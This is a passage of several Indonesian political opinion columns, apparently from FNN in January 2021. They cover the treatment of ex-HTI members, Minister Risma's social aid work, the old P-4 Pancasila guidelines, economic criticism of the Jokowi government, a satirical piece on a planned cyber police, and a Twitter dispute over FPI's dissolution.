perlakuan terhadap bekas anggota PKI dan lain-lain dari undang-undang Pemilu yang terdahulu ke undang-undang Pemilu berikutnya. Dalam undang-undang Pemilu sebelumnya bekas anggota PKI dan lain-lain, bukan saja dibatasi hak pilih pasif (hak untuk dipilih), tetapi juga hak pilih aktif (hak untuk memilih). Sedangkan dalam Undang-undang Nomor 12 Tahun 2003 tentang Pemilihan Umum Anggota Dewan Perwakilan Rakyat, Dewan Perwakilan Daerah, dan Dewan Perwakilan Rakyat Daerah yang dibatasi hanya hak pilih pasif saja. Tidak Tepat: Menyamakan Khilafah Ajaran Islam dengan Komunisme. Khilafahisme hendak disejajarkan dengan ideologi terlarang komunisme. Hal ini dapat dipandang pelecehan dan penistaan ajaran Islam. Khilafah bukan isme tapi sistem pemerintahan yang berbasis pada ideologi Islam. Mengkriminalkan ajaran Islam adalah tindakan gegabah dan menistakan agama. Jika Indonesia menyatakan belum menerima sistem kekhalifahan sebagai sistem untuk mengatur penyelenggaraan negara, tentu tidak serta merta menempatkan ajaran Islam ini sebagai isme yang dilarang dan bertentangan dengan Pancasila. Ini bukan apple to apple. Khilafah adalah bagian dari ajaran agama Islam di bidang politik (siyasah). Dalam hal ini ajaran Islam yang dibawa oleh Nabi Muhammad SAW yang kemudian dilanjutkan oleh para Khalifah setelah beliau. Oleh karena itu ajaran agama maka Ia tak layak disejajarkan dengan paham lain buatan manusia yang bukan ajaran agama. Maka khilafah tak pantas ditambahi isme sebagaimana paham buatan manusia seperti Kapitalisme, komunisme, radikalisme, dll. Jika kesesatan berfikir tentang khilafah dibiarkan, maka bisa saja nanti ajaran Islam yang lain akan juga disejajarkan dengan ajaran atau isme buatan mausia. Bisa saja mereka akan melecehkan kesucian ajaran haji dengan haji-isme, jihad-isme, zakat-isme, jilbab-isme, dll. Padahal itu jaran islam yang pasti baik buat manusia karena datang dari Allah SWT, sang Pencipta alam semesta. Narasi khilafahisme disejajarkan dengan komunisme jelas sangat menodai ajaran agama Islam. Dampak buruknya penyamaan ini adalah menyamakan pendakwah khilafah (HTI) DISAMAKAN DENGAN pengusung komunisme (PKI). Jika sengaja menyejajarkan ajaran agama dengan paham lain buatan manusia, maka itu merendahkan bahkan melecehkan ajaran agama. Menyamakan Khilafah dengan paham komunisme, radikalisme dan paham lain yang negatif adalah termasuk merendahkan ajaran agama Islam. Bahkan dapat dikategorikan menodai ajaran agama islam. Jadi dapat dinilai sebagai penistaan agama. Syahdan! Namun, demikianlah yang terjadi di Indenesia. Karena kepentingan tertentu yang berdalih demi Pancasila, NKRI dan Bhinneka Tunggak Ika membuat para pengambil kebijakan publik terkesan "ngawur" dan "ugal-ugalan" karena tidak didasarkan pada pertimbangan hukum yang absah dan dapat dipertanggungjawabkan bahkan kebijakan itu diambil berdasarkan kemauan politik. PKI itu jelas dilarang, sesuai dengan Tap MPRS No. XXV/MPRS/1966 jo UU No. 27 Tahun 1999. Itu pun telah dilakukan moderasi terhadap organisasi yang radikal tersebut melalui Putusan MK Nomor 011-017/PUU-I/2003. Sekali lagi saya myatakan bahwa Putusan MK 2003 itu menyatakan bahwa Pasal 60 Undang-undang Nomor 12 Tahun 2003 tentang Pemilihan Umum Anggota Dewan Perwakilan Rakyat, Dewan Perwakilan Daerah, dan Dewan Perwakilan Rakyat Daerah tersebut tak lagi mempunyai kekuatan hukum yang mengikat sehingga bekas tahanan politik dari partai terlarang seperti Partai Komunis Indonesia juga berhak dipilih dalam Pemilu. Pasal 60 huruf g UU Pemilu itu menyebutkan bahwa mereka tak diberikan hak politiknya adalah "Bekas anggota organisasi terlarang Partai Komunis Indonesia, termasuk organisasi massanya, atau bukan orang yang terlibat langsung ataupun tak langsung dalam G30S/PKI atau organisasi terlarang lainnya." Kita tahu persis bagaimana peran DPR, dan DPRD dalam pembentukan hingga pelaksanaan suatu UU. Mantan PKI saja boleh dipilih, mengapa mantan anggota HTI yang telah dibubarkan pula oleh Pemerintah dipersekusi, dicabut haknya, diberhentikan atasannya, dilengserkan dari jabatan politik pemerintahan. Adilkah? Apalagi kejadiannya ini dunia kampus yang tugasnya untuk merohanikan ilmu dengan fokus pada pencarian kebenaran dan keadilan ( searching the truth, noting but truth. Meskipun AAHS terkesan menerima begitu saja atas pemberhentiannya sebagai Wakil Dekan FPIK, menurut saya hal ini akan menjadi preseden buruk pembungkaman hak berserikat, berkumpul bagi PNS atau ASN sekaligus melanggar hak dipilih para mantan organisasi yang dinyatakan bubar oleh Pemerintah karena dicabut badan hukumnya sedang Putusan MK Nomor 011-017/PUU-I/2003 masih tetap berlaku sampai kapan pun. Sekali lagi saya tegaskan, jika terhadap para bekas anggota organisasi terlarang Partai Komunis Indonesia, termasuk organisasi massanya, atau bukan orang yang terlibat langsung ataupun tak langsung dalam G30S/PKI atau organisasi terlarang lainnya diberikan hak dipilih (dalam konteks yang lebih luas), tetapi mengapa mantan anggota HTI dilarang menduduki jabatan tertentu di pemerintahan? Hal ini yang saya katakan diskriminatif, represif dan otoriter dalam penegakan hukum. Adilkan menegakkan hukum sembari melakukan pelanggaran hukum dan HAM? Atas dasar ini apakah kiranya tidak berlebihan jika dikatakan telah terjadi PELANGGARAN HAM YANG BERKEDOK HUKUM? Tabik...! Penulis adalah Guru Besar FH Undip

Indonesia Itu Tidak Seluas Sungai Ciliwung Bu Risma

by Tony Rosyid Jakarta FNN – Senin (04/01). Resuffle Kabinet yang dilakukan presiden Jokowi mesti disambut baik. Berharap ini menjadi suplai optimisme bangsa ke depan. Ada Sandiaga di Kementerian Pariwisata dan Ekonomi Kreatif. Sosok pekerja keras yang bisa diandalkan jika bekerja. Lepas dari dinamika dan kontroversi politik, Sandi dengan mantan para pendukungnya. Ada Menteri Agama dari NU. Berharap kehadiran Menteri Agama berbasis pesantren Nahdhiyin tersebut mampu mengurai situasi disharmoni antar ormas dan kelompok keagamaan yang selama ini terjadi. Berdiri sebagai bapak umat yang merangkul semua kelompok. Membangun jembatan silaturahmi dengan pola komunikasi yang lebih persuasif. Dalam Resuffle Kabinet, setidaknya ada dua koruptor diganti, yaitu Menteri Kelautan dan Perikanan Edy Prabowo dari Partai Gerindra dan Mensos Juliari Peter Batubara dari PDIP. Rakyat berharap kedua menteri pengganti tidak mengulang kesalahan pendahulunya. Bisa semakin memperburuk nama partai yang merekomendasikan dan nama presiden sebagai pimpinan. Terutama Risma, mantan Walikota Surabaya ini dikenal gigih dalam bertugas. Turun langsung ke lapangan menjadi ciri khas Ibu Mensos ini. Sampai-sampai ikut atur lalu lintas dan nyapu jalanan. Maklum, mantan kadis kebersihan, kata publik. Secara pribadi, saya mendukung langkah presiden menempatkan Risma sebagai Mensos. Cocok, karena Risma pekerja keras, gesit, tegas dan suka turun langsung ke lapangan. Terobosan Risma untuk memberi bantuan langsung tunai layak diapresiasi. Tujuannya baik, agar tak ada ruang untuk main harga di sembako. Dengan bantuan langsung tunai diharapkan juga mampu mendorong roda ekonomi bergerak. Beras petani laku lagi. Harga gabah akan normal. Untuk menunjukkan kerja seriusnya, Risma pun blusukan. Hal yang biasa dilakukan ketika jadi Walikota Surabaya. Langkah Risma blusukan mendapat banyak reaksi publik, baik positif maupun negatif. Banyak pihak yang mengingatkan Risma bahwa kerja Walikota beda dengan Mensos. Wilayah Mensos itu seluas wilayah Indonesia, bukan seluas Jakarta, apalagi sungai Ciliwung. Jauh! Apalagi, rakyat Jakarta cenderung lebih sejahtera dibanding daerah lain. Jumlah orang miskin di Jakarta juga relatif lebih kecil. Jumlah rakyat miskin tertinggi angkanya adalah Papua. Jumlah orang miskinnya 26, 24%. Lalu Papua Barat 21,37%. NTT 20, 9%. Maluku 17,44%. Gorontalo 15,22%. Bengkulu 15,03%. Aceh 14,99%. NTB 13,97%. Sulawesi Tengah 12,92%. Sumatera Selatan 12,66%. Di Jawa Tengah ada 11,41% orang miskin. Jawa Timur 11,09%. Jawa Barat 7,88%. Banten 5,92%. Jakarta? Orang miskin di Jakarta hanya 4,53%. Artinya, orang miskin di Jakarta lebih rendah dari wilayah Jawa lainnya. Jauh lebih kecil dari rata-rata jumlah penduduk miskin di luar Jawa. Jadi, Risma nggak perlu gagal fokus jika ingin mengurangi jumlah kemiskinan rakyat. Ada banyak Ciliwung di luar Jakarta yang harus lebih mendapatkan perhatian. Jangan sampai ada stigma kurang positif seolah Risma sengaja diberi tugas untuk lebih fokus di Jakarta karena disiapkan maju di pilgub DKI 2022/2024. Hal-hal yang berbau politik saat ini mestinya dihindari, agar tak menimbulkan banyak polemik yang bisa mengganggu kinerja. Agar bansos efektif, validasi data harus yang paling awal dilakukan. Data tidak boleh salah. Dan yang tak kalah penting adalah merumuskan jenis bantuan apa yang paling tepat. Tepat artinya punya pengaruh berarti bagi pertumbuhan kesejahteraan rakyat miskin. Terakhir, memastikan bantuan itu sepenuhnya sampai dan tepat sasaran. Jangan sampai nyasar ke rekening partai atau rekening yang lain. Untuk memastikan semua bantuan sampai ke sasaran, tak harus blusukan. Bayangkan, di Indonesia ada 74.957 desa. Sulit mencari model blusukan yang efektif. Cukup buka layanan pengaduan misalnya, ini akan efisien dan efektif. Pastikan penerima bansos mendapat alamat pengaduan. Yang penting sosialisasinya serius dan masif. Jika mekanisme dan kontrol kerja di kemensos terukur, program bantuan akan sampai di tujuan dan sesuai harapan. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Butir-Butir P-4, Cerita Untuk Anak-Cucuku (Bag-1)

by Mayjen TNI (Purn.) Prijanto Jakarta FNN – Senin (04/01). Strategic Assessment. “Pancasila sebagaimana dimaksud dalam Pembukaan Undang-Undang Dasar 1945 adalah dasar negara dari Negara Kesatuan Republik Indonesia harus dilaksanakan secara konsisten dalam kehidupan bernegara” (Pasal 1, Tap MPR No.XVIII/MPR/1998). Masa pandemi Covid-19 membuat anak-anak belajar secara virtual. Implikasinya, mereka banyak bergaul dengan internet. Anak-anak menjadi luas wawasannya dan cerdas. Banyak materi yang tidak diajarkan oleh guru mereka ketahui, baik berita-berita di dunia maya maupun televisi. Orang tua dan eyang-eyang, banyak waktu ketemu anak dan cucu, bercerita macem-macem. Suatu saat, cucu kelas satu SMP bertanya. “Eyang,…. sekarang kok ada sikap radikal, intoleran dan tindakan semena-mena. Radikal dan intoleran itu kan jelek, ya Eyang. Eyang kakung : “Iya. Jelek banget. Mas Abie tahu dari mana? Jangan ditiru ya”. Cucu, Abie Putro: “Baca di internet. Seperti tidak ada dan tidak dihargainya Hak Azasi Manusia ya Eyang. Tindakan menyiksa dan membunuh seenaknya. KKN merajalela. Padahal, katanya kita punya Pancasila yang disarikan dari budi luhur bangsa? Tapi kok begini? Gimana nih Eyang?” Suka tidak suka, pertanyaan inilah yang mendorong saya menulis artikel ini. Artikel pertama di tahun 2021. Cerita untuk anak dan cucu, generasi yang buta masa lalu. Tentu saya akan cerita sejarah masa lalu. Cerita bagaimana PKI ingin mengganti Pancasila dengan komunisme. Pemberontakan PKI Madiun 1948 dan G.30.S/PKI 1965 bukti yang berbicara. Orde Baru (Orba) berusaha agar Pancasila sebagai pandangan hidup bangsa dan Dasar Negara Republik Indonesia bisa dihayati dan diamalkan untuk menjaga kelestarian dan keampuhannya. Disisi lain mencegah ideologi lain meracuni pikiran rakyat Indonesia. Ideologi yang sengaja disusupkan ke Indonesia oleh asing, atau nilai-nilai asing yang dibawa orang kita yang belajar atau tinggal lama di Eropa, Amerika, Asia, Australia, Timur Tengah dan lain-lain. Maka diterbitkanlah Tap MPR tentang Pedoman Penghayatan dan Pengamalan Pancasila (P-4), sebagai penuntun dan pegangan hidup dalam bermasyarakat dan bernegara bagi setiap WNI, penyelenggara Negara, lembaga kenegaraan dan lembaga kemasyarakatan. Satu hal yang penting, P-4 ini bukan tafsir Pancasila. Tidak juga tidak bermaksud menafsirkan Pancasila. “Strategic assessment” di atas tidak bermaksud memakai Tap MPR No. XVIII/MPR/1998 yang sudah memiliki sifat einmalig (final), dan telah dicabut serta selesai dilaksanakan sebagai dasar. Saya hanya ingin bilang kepada anak-anak dan cucu-cucu saya, bahwa ketika mencabut Tap MPR No. II/MPR/1978 tentang P-4, kaum reformis juga menegaskan bahwa (a). Pancasila sebagai Dasar Negara. (b). Pancasila yang dimaksud ada di dalam Pembukaan UUD 1945. (c). Pancasila harus dilaksanakan secara konsisten dalam bernegara. Hari gini ngomong Pedoman Penghayatan dan Pengamalan Pancasila (P-4) emang terasa aneh. Bagaimana tidak? Barangnya udah dicabut, dan materi muatannya udah dinyatakan tidak sesuai dengan perkembangan kehidupan bernegara. Tetapi masih berani ngomongin. Apa nggak takut mati dicap orang Orba tulen? Emang kalau ngomong P-4, jika ketemu generasi yang sejak awal menentang, pasti adu argumentasi. Bikin kedua belah pihak kupingnya panas. Lain hal, ketemu generasi yang hidupnya bisa memahami dan mengamalkan hasil penataran P-4 atau dari belajar sendiri. Tentu akan membahagiakan. Nostalgia yang manis. Persoalan lain jika ketemu generasi yang lahir tahun 1998, saat P-4 dicabut, berarti saat ini usia 22 tahun atau mahasiswa. Lahir setelah tahun 1998 atau saat dicabut masih orok atau anak-anak. Mereka pasti buta tentang P-4. Sebab sekolah dan media tidak membahas buku pelajaran miskin materi Pancasila atau P-4. Maka sangat mungkin terjadi pertanyaan seperti cucu saya di atas. Karena P-4 secara politis sudah dicabut, maka 36 (tiga puluh enam) atau 45 (empat puluh lima) butir P-4 untuk saat ini tidak mungkin disosialisasikan lagi sebagai P-4. Namun, jika anak-anak dan cucu-cucuku bingung mencari pegangan hidup, eyang akan nunjukin tuh, baca saja ketiga puluh enam atau keempat puluh lima butir P-4. Eyang tidak akan bilang, dan kalian juga tidak perlu bilang sedang membaca dan mempelajari butir-butir pedoman penghayatan dan pengamalan Pancasila. Sebab P-4 itu sudah dicabut. Eyang hanya bilang; jika kamu butuh pegangan hidup agar hidupmu tenang dan pengabdianmu kepada bangsa dan negara lurus, bacalah butir-butir tersebut sebagai ‘petuah’ atau ‘tuntunan’ dan laksanakan. Eyang berpendapat, dalam bahasa Jawanya, butir-butir itu sebagai “Pitutur kanggo lakuning urip” . Dalam bahasa Indonesia “Petuah untuk jalannya hidup”. Kalian mau nambahi sesuai dengan norma budaya yang hidup di masyarakat dan belum tercantum di dalam butir-butir tersebut, ya tidak masalah. Silakan saja. Bila anak-anak dan cucu-cucuku paham dan melaksanakannya, apakah nantinya sebagai pejabat atau bukan, niscaya kalian akan menjadi sosok yang berperilaku baik. Jika kalian menjadi pejabat, tentu tidak akan KKN karena kalian memegang kejujuran dan keadilan. Kalian menjadi orang yang tidak sombong dan tidak semena-mena walau sedang berkuasa. Mengamalkan pitutur tersebut, kalian akan menghormati dan saling mencintai sesama manusia tanpa memandang status sosial. Kalian akan jauh dari perilaku kejam, sadis, seenaknya menyiksa, membunuh, radikal dan intoleran. Kalian akan menyukai segala sesuatu untuk dikomunikasikan dan dimusyawarahkan demi persatuan. Anak-anakku dan cucu-cuku, bila ingin tahu seperti apa "pitutur" tersebut, kalian bisa baca di artikel lanjutan, “Butir-Butir Pedoman Penghayatan dan Pengamalan Pancasila. Cerita Untuk Anak dan Cucuku ke-2”. Selamat membaca, berkontemplasi, berpikir, bekerja dan berkarya untuk bangsa dan negara. Semoga Tuhan Yang Maha Esa selalu memberikan rahmat dan hidayah kepada kalian. Insya Allah, Aamiin. Penulis adalah Aster KASAD 2006-2007 & Rumah Kebangkitan Indonesia.

Selamat Datang Tahun Kegaduhan

Rakyat menjadi korban akibat carut-marutnya pengelolaan keuangan negara. Ekonomi yang dikelola tanpa visi dan misi yang jelas akan menyebabkan terjadinya kegaduhan. Kita baru empat hari memasuki tahun 2021 yang penuh tantangan dan penuh dinamika. Yang pasti, tahun 2021 ini, kita dihadapkan pada ketidakpastian, baik ketidakpastian global maupun ketidakpastian nasional. Ketidakpastian nasional yang pasti kita hadapi dengan berat adalah di bidang ekonomi dan juga ketidakpastian dalam penegakan hukum. Jika dirunut, semua ketidakpastian yang ada di dalam negeri, terjadi karena pemerintahan yang tidak stabil, pemerintahan yang semakin tidak dipercaya oleh sebagian besar rakyatnya. Ketidakpastian dalam ekonomi semakin terasa akibat Corona Virus Disaese 2019 (Covid-19). Virus yang berasal dari Wuhan, Republik Rakyat China itu telah memporak-porandakan ekonomi dunia, termasuk Indonesia. Padahal, perekonomian Indonesia sudah terasa berat, jauh sebelum virus corona mewabah. Dalam lima tahun pertama pemerintahan Joko Widodo-M.Jusuf Kalla (2014-2019) pertumbuhan ekonomi tidak pernah mencapai 7 (tujuh) persen seperti yang dijanjikan waktu kampanye. Jangankan tujuh persen, enam persen pun tidak pernah tercapai. Angkanya adalah 5,01 persen (2014), 4,88 persen (2015), 5,03 persen (2016), 5,07 persen (2017) dan 5,17 persen (2018). Tahun 2019, ekonomi turun menjadi 5,02 persen.Tahun 2020, pertumbuhan ekonomi Indonesia diperkirakan minus atau negatif (- 1,7 persen) sampai 0,6 persen. Bisa jadi angka ini akan berubah lebih rendah mengingat Virus China belum mereda dan bahkan semakin ganas karena ditemukannya varian baru, serra gelagat pertumbuhan ekonomi global masih suram. Angka pertumbuhan ekonomi yang hanya antara 4,88 persen sampai 5,17 persen dalam periode pertama Joko Widodo sengaja diangkat, agar semakin jelas dan terang-benderang bahwa pengelolaan ekonomi amburadul, dan sebagian mengatakan gagal. Ya, apapun istilahnya, yang jelas dan pasti adalah pertumbuhan ekonomi tidak pernah tujuh persen (periode 2014-2019). Padahal, selama periode tersebut, pemantik turunnya ekonomi tidak jelas, jika melihat faktor eksternal. Berbeda dengan krisis ekonomi yang terjadi tahun 2008, semasa Presiden Susulo Bambang Yudhoyono (SBY), akibat bangkrutnya perusahaan properti Amerika Serikat, Lehman Brother, dan langsung berimbas ke kawasan Eropa. Badainya pun kemudian menghantam dunia, termasuk Indonesia. Walau dihantam badai ekonomi, namun pertumbuhan Indonesia tahun 2008 masih mencapai 6,1 persen. Imbasnya baru terasa tahun 2009 dengan pertumbuhan ekonomi 4,5 persen. Perlahan tapi pasti, tahun 2010 pertumbuhannya sudah kembali ke angka 6,1 persen. Bahkan, di tengah perekonomian dunia yang masih bergejolak, ekonomi Indonesia bisa tumbuh menjadi 6,5 persen tahun 2011, 5,28 persen tahun 2012 dan naik sedikit menjadi 5,78 persen tahun 2013. Perbandingan pertumbuhan ekonomi masa pemerintahan SBY dan Jokowi sengaja diangkat, bukan bermaksud memuja-muji SBY dan juga bukan bermaksud menghakimi Joko Widodo. Biarlah rakyat yang melakukan penilaian. Sebab, rakyatlah yang merasakan berat atau tidaknya beban ekonomi. Akan tetapi yang jelas dan pasti, pengelolaan ekonomi di masa pemerintahan SBY-Boediono jauh lebih baik ketimbang penataan ekonomi pada periode pertama pemerintahan Jokowi-Jusuf Kalla. Stimulus ekonomi yang dikeluarkan SBY dalam menghadapi krisis ekonomi tahun 2008 sangat tepat, sehingga tidak terjerumus pada jurang krisis yang lebih dalam. Stimus ekonomi yang dikeluarkan saat itu mampu mendongkrak daya beli masyarakat. Stimulus yang tepat itu bisa jadi karena Boediono yang menjadi pendamping SBY adalah ekonom tulen. Juga didukung oleh tim ekonomi yanh cukup bagus dan handal. Sangat berbeda dengan kebijakan ekonomi yang diterapkan Jokowi, yang lebih menekankan pembangunan infrastruktur yang terlalu dipaksakan. Arah kebijakan ekonomi dan pembangunan tidak tepat, karena pendamping Jokowi di periode pertama (2014-2019) adalah Jusuf Kalla, seorang saudagar, seorang pengusaha yang lebih berorientasi pada bisns dan keuntungan. Ditambah lagi tim menteri ekonominya lemah dan lamban dalam menganalisa masalah dan kemudian diimplementasikan dalam kebijakan ekonomi. Periode kedua Jokowi akan menghadapi kendala dan tantangan yang lebih berat. Apalagi, seluruh visi dan misi hanya ada di tangan dan otak presiden. Seluruh menteri tidak memiliki visi dan misi. Tahun ini diperkirakan memperburuk keadan ekonomi dan kehidupan masyarakat. Ditambah lagi pendamping Jokowi, seorang kiai, Ma'ruf Amin yang lebih piawi berceramah agama Islam ketimbang melakukan analisis tajam di bidang ekonomi. Para menterinya, terutama bidang ekonomi adalah orang yang syarat politik, ketimbang jiwa ekonomi. Jajaran menteri ekonomi, hampir semua diisi politisi. Hanya Menteri Keuangan, Sri Mulyani yang berasal dari profesional (ekonom), meskipun belakangan pernyataan atau keterangannya cenderung sebagai politisi, terlebih jika menyangkut utang luar negeri. Ia membela mati-matian tentang utang luar negeri yang sudah menembus angka Rp 6.000 triliun. Padahal, semasa menjadi pengamat ekonomi, ia sangat getol menentang penambahan utang luar negeri. Oleh karena piawi mengutang, maka dia pun dijuluki "Si Ratu" Utang. Persoalan ekonomi sudah diingatkan jauh sebelum Covid-19 mewabah. Pembangunan infrastruktur, seperti pembangkit tenaga listrik 3.500 MW dan pemindahan ibukota negara sudah diminta agar dihentikan atau ditunda. Pembangunan ibukota negara di Kalimantan Timur diminta ditunda karena menghabiskan dana Rp 485,2 triliun (angka perkiraan tahun 2019). Bagaimana ekonomi 2021? Pemerintah optimis akan tumbuh pada angka 4 sampai 5 persen. Angka pertumbuhan berat yang masih patut dipertanyakan dan hanya merupakan angin syurga. Lalu bagaimana dengan APBN 2021? Apakah pendapatan pajak bisa tercapai di tengah ketidakpastian ekonomi global? Ditambah lagi sumber pendapatan dari utang luar negeri yang semakin sulit diperoleh. Kalaupun bisa mendapatkan pinjaman, itu hanya digunakan sebagai gali lubang tutup lubang. Memperoleh utang untuk membayar bunga dan utang pokok. Rakyat menjadi korban akibat carut-marutnya pengelolaan keuangan negara. Ekonomi yang dikelola tanpa visi dan misi yang jelas akan menyebabkan terjadinya kegaduhan. Rakyat merasakan langsung dalam beberapa hari setelah masuk tahun 2021? Tidak ada pasok tahu dan tempe di pasar karena pengrajinnya mogok produksi. Mereka mogok karena harga kedele yang naik dari Rp 7.200 menjadi Rp 9.200 per kilogram. Mogoknya pengrajin tahu dan tempe telah menimbulkan kegaduhan di pasar. Belum lagi jika harga kebutuhan pokok lainnya, terutama beras tiba-tiba naik. Tempe dan tahu telah membuat gaduh karena impor kedele diserahkan ke mekanisme pasar (swasta), tidak lagi dilakukan Perum Bulog. Ya, entah kegaduhan apa lagi menyusul. *

Untuk Pak Mahfud: Pasang Saja Microchip di Kepala Manusia Oposisi

by Asyari Usman Medan, FNN - Senin (04/01). Tak sampai sepekan yang lalu, Menko Polhukam Mahfud MD dengan senang hati mengumumkan bahwa Polisi Siber (Polsib) mulai diaktifkan tahun ini, 2021. Dia bilang, Polsib sangat diperlukan untuk mengawasi akun-akun media sosial yang berbahaya. Terutama konten-konten yang berisi ancaman untuk mencederai seseorang bahkan ancaman pembunuhan. Mahfud membanggakan kehebatan Polsib nantinya. Pelaku ancaman medsos bisa ditangkap dalam dua jam saja. “Jam 8 pagi ‘ngancam, jam 10 ditangkap,” kata mantan ketua MK itu. Langkah Pak Menko ini tentu bagus sekali. Ini bentuk perlindungan yang ditunggu-ditunggu. Orang-orang yang terancam, khususnya para pejabat yang sekarang ini bagus-bagus semua kelakuannya, perlu dilindungi. Supaya hidup mereka tenteram. Tapi, sayangnya, Polsib bisa disalahgunakan seperti halnya UU ITE. Pertama-tama nanti akan dipakai untuk menangani ancaman terhadap para pejabat. Setelah itu, Polsib akan dipakai untuk mengamati akun-akun yang kritis. Akhirnya, semua yang tak sejalan dengan penguasa akan dikejar oleh Polsib. Sangat mungkin mereka akan mengintip postingan (status) medsos, khususnya akun-akun oposisi. Setelah itu, penyalahgunaan ditingkatkan. Bisa jadi Polsib ikut memancing emosi di akun-akun oposisi. Supaya mereka, pemilik akun-akun kritis itu, tersulut emosi. Dengan begitu mereka bisa dipetakan. Kemudian ditangkap dalam waktu 2 jam, seperti dikatakan Pak Mahfud. Inilah arah penyalahgunaan yang perlu dicermati. Dan penyalahgunaan itu bukan hal yang baru. Apa saja yang bisa memperkuat cengkeraman para penguasa otoriter, pasti akan dilakukan. Kali ini kita bantu Pak Mahfud tentang cara yang lebih cepat untuk menangkap para aktivis oposisi. Agar biaya operasionalnya lebih murah. Soalnya, sekarang ini kabarnya pemerintah kesulitan duit. Bagaimana cara murah itu? Ada dua. Pertama, contoh saja tindakan Korea Utara. Internet diatur sangat ketat. Hanya sejumlah kecil aparat negara saja yang boleh menggunakannya. Itu pun lewat sistem Intranet. Dan semua mereka diawasi. Rakyat tidak boleh sama sekali pakai Internet. Kedua, lebih praktis lagi. Gunakan “smart microchip” untuk mendeteksi apa yang sedang dipikirkan manusia. Alat ini belum ada. Tapi bisa dipesan sekarang. Mungkin sebelum rezim jatuh karena krisis ekonomi, sudah jadi. Biayanya agak mahal tapi untuk dipakai seumur hidup. Kalau dipesan 150 juta biji untuk 150 manusia oposisi, bisa murah. Dengan bantuan alat kecil ini, Pak Mahfud bisa mengetahui secara dini apa yang ingin ditulis oleh akun oposisi. Kalau tulisan itu kritis, maka alarm di pusat kendali siber di Kemenko Polhukam akan langsung menyala. Nah, wajibkan saja semua pegiat oposisi, penulis kritis, pemilik akun medsos yang terindikasi berseberangan dengan panguasa, dll, untuk dipasangi “smart microchip” itu di kepala mereka. Pokoknya dikte saja seperti di Korea Utara. Dengan cara ini, pemantauan bisa lebih mudah. Lebih efisien. Penangkapan bisa lebih dini. Bahkan tak sampai dua jam. Dan status medsos yang mau ditulis oleh manusia oposisi, bisa dicegah sebelum diunggah. Kalau khawatir bertentangan dengan HAM dan konstitusi, buatkan saja pasal-pasal baru. Supaya orang bisa dihukum penjara karena kedapatan berpikir untuk menulis kritik di akun medsos. PDIP, Gerindra, Golkar, NasDem, PAN-Zulhas, PPP pasti akan mendukung pembuatan pasal-pasal yang diperlukan itu. Sebentar saja akan disahkan oleh DPR. Jadi, Pak Mahfud, sampeyan tak perlu Polisi Siber. Cukup pasang ‘smart microchip’ di setiap kepala rakyat oposisi. Ke mana pun mereka pergi bisa dilacak. Apa pun yang sedang mereka pikirkan, bisa terdeteksi. Penulis adalah Wartawan Senior FNN.co.id.

Ketika "Jenderal Tua" Mengancam Masyarakat

by Tjahja Gunawan Jakarta, FNN - Senin (04/01). Di dunia maya terjadi perang mulut antara aktivis Hak Asasi Manusia (HAM) Natalius Pigai dengan eks Kepala Badan Intelejen Negara (BIN) AM Hendropriyono. Apa yang dipertanyakan Pigai di Twitter sebenarnya merupakan sesuatu yang wajar dan menjadi pertanyaan banyak kalangan. Natalius Pigai mempertanyakan kapasitas Hendropriyono ketika dia mengancam akan membubarkan organisasi yang menampung mantan anggota FPI. Menurut Pigai, Hendropriyono sama sekali tidak memiliki kapasitas dalam mengeluarkan pernyataan tersebut. “Ortu mau tanya. Kapasitas Bapak di negara ini sebagai apa ya? Penasihat presiden? Pengamat? Aktivis? Biarkan diurus generasi abad 21 yang egaliter, humanis, demokrat. Kami tidak butuh hadirnya dedengkot tua. Sebabnya wakil ketua BIN dan dubes yang bapa tawakan, saya tolak mentah-mentah. Maaf,” tulis Natalius dalam cuitan akun Twitter pribadinya yang diunggah pada Jumat, 1 Januari 2021. Sebelumnya Hendropriyono menyebutkan bahwa setelah pembubaran FPI, selanjutnya giliran organisasi yang melindungi eks-FPI dan juga para provokator yang perlu dibubarkan pemerintah. "AM Hendropriyono: organisasi pelindung eks-FPI dan para provokator tunggu giliran," cuit Hendropriyono dalam akun Twitternya @edo751945 dikutip di Jakarta, Kamis (31/12/2020). Hendropriyono mengingatkan masyarakat dan lembaga untuk tidak membela atau menampung mantan anggota Front Pembela Islam (FPI). Pernyataan Hendropriyono yang juga mantan Danrem Garuda Hitam Lampung tersebut bertolak belakang dengan sikap pemerintah dimana Menko Polhukam Mahfud MD telah membolehkan siapapun termasuk para fungsionaris FPI untuk membentuk ormas baru karena hal tersebut memang dijamin dan dilindungi Undang-undang. Oleh karena itu ketika Front Pembela Islam (FPI) dibubarkan pemerintah Rabu 30 Desember 2020, pada hari yang sama eks fungsionaris FPI lama membentuk Front Persatuan Islam (baca: FPI Baru). Para deklarator FPI Baru ini adalah mantan para pengurus FPI lama di antaranya Munarman dan KH. Sobri Lubis. Selain itu, meskipun FPI dibubarkan dan dianggap sebagai ormas terlarang, tapi tidak satupun pengurusnya yang ditahan. Sementara penahanan terhadap Imam Besar FPI Habib Rizieq Shihab karena tuduhan pelanggaran terhadap protokol kesehatan pada acara peringatan Maulid Nabi Muhammad SAW di Kawasan Petamburan Jakarta, Sabtu 14 November 2020. Memberi Saran yang Salah Jadi sangat aneh kalau kemudian FPI atau ormas Hizbut Tahrir Indonesia (HTI) yang telah lebih dulu dibubarkan rezim Jokowi tàhun 2017 disamakan dengan PKI. Pentolan PKI ditahan dan dipenjarakan pemerintah Orde Baru karena memang mereka telah membunuh dan membantai masyarakat terutama para kiai dan para santri pada bulan September 1965 dan tàhun 1948. Sementara kegiatan FPI yang sudah dibubarkan pemerintah akhir bulan Desember 2020 justru sebenarnya banyak membantu program pemerintah karena yang dilakukan ormas Islam ini adalah mengajak pada kebaikan dan mencegah setiap perbuatan kejahatan (amar ma'ruf nahi munkar). Tidak hanya itu, selama ini FPI lama banyak melakukan berbagai kegiatan kemanusiaan. Dalam setiap terjadi bencana alam di Tanah Air, FPI lama nyaris selalu yang pertama hadir di lokasi bencana membantu masyarakat yang terkena musibah. Kalau kemudian FPI lama dibubarkan pemerintah, sungguh sangat memprihatinkan kita semua. Oleh karena itu wajar kalau Natalius Pigai mempertanyakan ancaman Hendropriyono yang akan membubarkan organisasi yang menampung mantan anggota FPI. Adanya ancaman dari orang seperti Hendropriyono yang nota bene sekarang berada di luar struktur resmi pemerintah dan negara, memang menimbulkan keheranan, tanda tanya sekaligus kecurigaan di kalangan masyarakat. Terkait hal itu, elite Partai Demokrat Andi Arief mendesak Menko Polhukam Mahfud MD untuk berhenti mendengarkan masukan dari "Jenderal Tua" yang menurutnya selalu memberi saran yang salah arah. Dalam kicauannya di akun Twitter pribadi, Jumat (1/1/2021), Andi 